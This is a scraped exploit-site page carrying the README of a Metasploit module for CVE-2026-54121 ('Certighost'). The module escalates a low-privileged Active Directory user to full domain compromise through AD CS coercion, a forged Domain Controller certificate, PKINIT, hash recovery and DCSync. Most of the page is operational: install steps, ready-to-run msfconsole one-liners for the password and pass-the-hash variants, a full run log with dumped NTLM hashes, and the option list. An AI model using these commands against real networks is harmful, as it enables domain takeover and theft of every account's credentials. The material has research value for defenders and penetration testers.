Share
## https://sploitus.com/exploit?id=B9820FD5-5FB3-5B9F-B00F-3040AEA158C7
# Metasploit-CVE-2026-54121-Certighost
Certighost originally discovered and exploited by h0j3n and Aniq Fakhrul. This repo contains Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback.  The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller. That certificate is used for PKINIT, UnPAC-the-hash recovers the DC's NT hash, and DCSync does the rest.

## Installation
```bash
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/
```

Verify it parses and loads:
```bash
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
```

```bash
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"
```

Ports 389 and 445 are privileged, so the module must run as root.


## Usage

### Password authentication

One-liner of MSF
```bash
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run" 
```

Running `msfconsole`
```
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run
```

### Pass-the-hash

One-liner of MSF
```bash
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"
```

Running `msfconsole`
```
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run
```

`NTLM_HASH` accepts a bare NT hash, `:NT`, or `LM:NT`. When both `PASSWORD` and `NTLM_HASH` are set, **the hash wins**.

### Certificate only

Useful when you want the certificate for offline or later use:

```bash
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"
```

---


## Examples

#### Successful Explotation
```
$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL;  run"

[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*]   Discovering CA...
[+]     Found CA: ContosoCert-CA (DC01.contoso.lab)
[*]   Discovering target DC...
[+]     Target DC: DC01$ (DC01.contoso.lab)
[+]   CA:      ContosoCert-CA (192.168.10.10)
[+]   Target:  DC01$
[+]   Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+]   Password: CGf0a69633d2Aa1
[+]   SID:      S-1-5-21-2005457936-2008376057-2514283296-1756
[+]   Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*]   Listener IP: 192.168.44.128
[+]   Rogue LDAP server: 192.168.44.128:389
[+]   Rogue SMB server:  192.168.44.128:445
[*]   Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+]   Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+]   Certificate issued!
[+]   PFX (loot):  /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+]   PFX (local): /root/DC01_certighost.pfx
[+]   Subject: /CN=DC01.contoso.lab
[+]   Issuer:  /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+]   PKINIT successful - TGT for DC01$@contoso.LAB
[+]   ccache saved: /root/DC01.ccache
[*]   Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+]   NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*]   Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+]   DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*]   (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+]   Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed
```

#### Options
```
msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options

Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ACCOUNT_NAME                          no        The account name
   ACCOUNT_PASSWORD                      no        The password for the new account
   ADD_CERT_APP_POLICY                   no        Add certificate application policy OIDs
   ALT_DNS                               no        Alternative certificate DNS
   ALT_SID                               no        Alternative object SID
   ALT_UPN                               no        Alternative certificate UPN (format: USER@DOMAIN)
   CA_IP                                 no        CA IP (auto-discovered if empty)
   CA_NAME                               no        CA name (auto-discovered if empty)
   CERT_TEMPLATE        User             yes       The certificate template
   CLEANUP_ACCOUNT      true             no        Delete the machine account when finished. Needs privileged credentials: the accoun
                                                   t's own creator has no DELETE right on it. With ACTION FULL the Administrator hash
                                                    recovered by DCSync is used automatically
   CLEANUP_HASH                          no        LM:NT or NT hash for CLEANUP_USER (pass-the-hash)
   CLEANUP_PASS                          no        Password for CLEANUP_USER
   CLEANUP_USER                          no        Account used to delete the machine account (defaults to the Administrator hash rec
                                                   overed by DCSync, else USERNAME)
   DC_IP                                 yes       Domain Controller IP
   DOMAIN                                yes       Target domain FQDN (e.g., abc.local)
   LDAPDomain                            no        The domain to authenticate to
   LDAPPassword                           no        The password to authenticate with
   LDAPUsername                           no        The username to authenticate with
   LISTENER                              no        Attacker IP for rogue services (auto-detected if empty)
   NTLM_HASH                             no        NT hash for USERNAME, for pass-the-hash. Accepts LM:NT, :NT or a bare NT hash
   NTLM_VALIDATE        true             no        Validate the CA's NTLM auth via the Netlogon oracle. Set false to blindly accept i
                                                   t (no SMB signing) - useful to test whether the CA chase reaches LSA/LDAP at all,
                                                   but fails if the CA insists on signing
   ON_BEHALF_OF                          no        Username to request on behalf of (format: DOMAIN\USER)
   OUTPUT_DIR                            no        Directory for the .pfx and .ccache files (defaults to the current working director
                                                   y)
   PASSWORD                              no        User password (required unless NTLM_HASH is set)
   PFX                                   no        Certificate to request on behalf of
   RHOSTS                                no        Target host (auto-set from DC_IP)
   ROGUE_LDAP_PORT      389              no        Port for rogue LDAP server (CA defaults to 389)
   ROGUE_SMB_PORT       445              no        Port for rogue SMB/LSA server (CA defaults to 445)
   RPORT                389              yes       The target port (TCP)
   SMBDomain                             no        The Windows domain to use for authentication
   SMBPass                               no        The password for the specified username
   SMBUser                               no        The username to authenticate as
   SSL                  false            no        Enable SSL on the LDAP connection
   TARGET_DC                             no        Target DC sAMAccountName to impersonate (auto-discovered if empty)
   TEMPLATE             Machine          yes       Certificate template
   TIMEOUT              10               no        Seconds to wait for rogue servers to receive connections
   Timeout              10               yes       The TCP timeout to establish Kerberos connection and read data
   USERNAME                              yes       Low-privilege domain user


Auxiliary action:

   Name  Description
   ----  -----------
   FULL  Full attack: certificate + PKINIT + DCSync


View the full module info with the info, or info -d command.
```

## References

- [Technical analysis โ€” H0j3n](https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26)
- [Original PoC โ€” aniqfakhrul](https://github.com/aniqfakhrul/CVE-2026-54121)
- [CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)